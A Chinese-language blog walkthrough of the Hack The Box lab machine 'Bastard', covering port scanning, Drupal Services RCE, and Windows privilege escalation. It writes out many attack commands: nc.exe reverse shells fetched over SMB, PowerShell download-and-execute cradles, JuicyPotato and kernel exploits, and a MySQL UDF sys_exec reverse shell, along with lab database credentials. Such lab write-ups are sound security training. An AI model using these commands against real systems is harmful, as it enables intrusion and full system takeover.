HTB Bastard

从ping结果的ttl=127也能看出是windows机器

0x01 端口扫描

1
2
nmap -sT --min-rate 10000 -p- 10.129.22.66 -oA nmapscan/ports
nmap -sU --top-ports 20 10.129.22.66 -oA nmapscan/udp

http、rpc、未知

1
2
nmap -sT -sC -sV -O -p80,135,49154 10.129.22.66 -oA nmapscan/detail
nmap --script=vuln -p80,135,49154 10.129.22.66 -oA nmapscan/vuln

两个rpc、一个drupal的iis7.5 web服务

0x02 web渗透

Drupal的默认页

drupal7.5,寻找nday

1
2
#去掉msf和拒绝服务的结果
searchsploit drupal --exclude="(Metasploit)|Denial of Service"

Drupal

  1. Drupal 7.x Module Services - Remote Code Execution,通过注入可以写shell、拿管理员cookie、密码哈希;
  2. Drupalgeddon 是存在于Drupal 7版本的CVE-2014-3704,可RCE,在2014年10.15出现补丁;
  3. Drupalgeddon2 也被称为CVE-2018-7600,是在Drupal 7和Drupal 8版本中发现的⼀个远程执⾏代码漏洞;
  4. Drupalgeddon3,也被称为CVE-2019-6340, 是在Drupal 8版本中发现的另⼀个远程执⾏代码漏洞。

该靶机发布于2017年,上述的2大概率不成,3、4可以确定有,但为了学习预期解还是从1下手

考虑到利用条件等原因,按如下顺序测试:

vim先看41564:

根据靶机对初始信息修改

再次查看初始信息设置,大概率是endpoint路径非默认,需要修改

exp中给了出处blog,作者也说需要知道endpoint的路径

个人感觉可以理解为有rest风格的rpc

目录爆破找endpoint路径,字典选择针对restful的endpoints的字典:

/usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt

1
feroxbuster -u http://10.129.246.12/ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt -t 50 -e -s 200

成功rce,接着用smb的nc拿反弹Shell:

1
2
smbserver.py share .
\\\\10.10.16.6\share\nc.exe -e cmd.exe 10.10.16.6 9999

0x03 提权

1
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.10.16.6:8000/winpeas.exe','winpeas.exe')"

winpeas全版本莫名卡住,无法进行,换msf的multi/recon/local_exploit_suggester:

保存到result后提取模块名到kernel

1
cat result | tr ' ' '\n' | grep '^exploit/' | awk '{print $1}' > kernel

不知道为什么每个利用都成功了但都没有创建会话

ms10-059

接着换 windows-exploit-suggester :

ms13-005、ms11-011、ms10-073、ms10-059、ms10-047

利用到ms10-059时:

1
.\MS10-059.exe 10.10.16.6 4445

ms10-059成功,其余均失败

ms15-051

换sherlock:

1
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.2:8000/Sherlock.ps1')

ms10-092、ms15-051、ms16-032

利用到ms15-051时:

1
ms15-051_x64.exe whoami

只有ms15-051利用成功

除此以外,exploit-db打不开的问题待解决!

cve-2018-8120

手工拿操作系统版本搜索


只有CVE-2010-0020利用成功

juicy potato

开启了SeImpersonatePrivilege权限,应当引起重视

首先想到令牌窃取,但缺少SeDebugPrivilege无法完成;
接着想到printspoofer,但版本太低对不上;
最后考虑到版本很低,选择juicy potato

大概率可用,https://github.com/ohpe/juicy-potato/releases

必要的CLSID可查 https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise/
选择 {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

利用前面起的smb中的cmd反弹shell:

1
JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} -a "/c \\10.10.16.6\share\nc.exe -e cmd.exe 10.10.16.6 9999"

成功提权

udf

drupal这类cms必有数据库(mysql),在default/connect.php配置文件偷到凭据

root身份,可以尝试udf

1
2
root
mysql123!root

即使是msf或nishang的终端仍然交互性不够,索性将3306转发到本地:

1
chisel server -p 9595 -reverse
1
chisel.exe client 10.10.16.6:9595 R:3306:localhost:3306

验证可用性:

版本正确、插件路径得到、利用权限正确

1
2
locate mysqludf
#/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
1
2
3
4
5
select load_file('\\\\10.10.16.6\\share\\lib_mysqludf_sys_64.dll') into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";

create function sys_exec returns string soname 'udf.dll';

select sys_exec('\\\\10.10.16.6\\share\\nc.exe -e cmd.exe 10.10.16.6 9999');

除此以外,dll可用不用远程导入,直接hex后给到mysql的unhex导入就行

0x04 总结

内核提权枚举

1、打靶机优先考虑sherlock.ps1

1
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.6:8000/Sherlock.ps1')"

2、其次考虑windows-exploit-suggester

1
2
cd /home/kali/PE/wes
python2 windows-exploit-suggester.py --database 2024-08-10-mssb.xls --systeminfo ../../vulnhub/systeminfo.txt

systeminfo.txt为copy靶机systeminfo信息

3、可以使用MSF的multi/recon/local_exploit_suggester

注意有些exp需要set target 1这样设置x64/x86

4、使用winpeas,需要尝试各种版本的,好多时候exe会跑不起来、bat卡住

5、wes-ng,windows-exploit-suggester的提升版,内核向量枚举特别全,需要手动筛选提权+可用

1
python wes.py systeminfo.txt -i "Elevation of Privilege" -e

6、Powerless.bat这个脚本也值得一看,虽然无内核提权,但其余很全

exp库

Windows - Privilege Escalation - Internal All The Things (swisskyrepo.github.io)

Al1ex/WindowsElevation: Windows Elevation(持续更新) (github.com)

safesword/WindowsExp: Windows全版本提权脚本 (github.com)

除此以外,exploit-db打不开的问题还是没解决 :(


HTB Bastard
https://fyhypo.github.io/blog/HTB/HTB Bastard/
作者
FYHypo
发布于
2024年8月31日
许可协议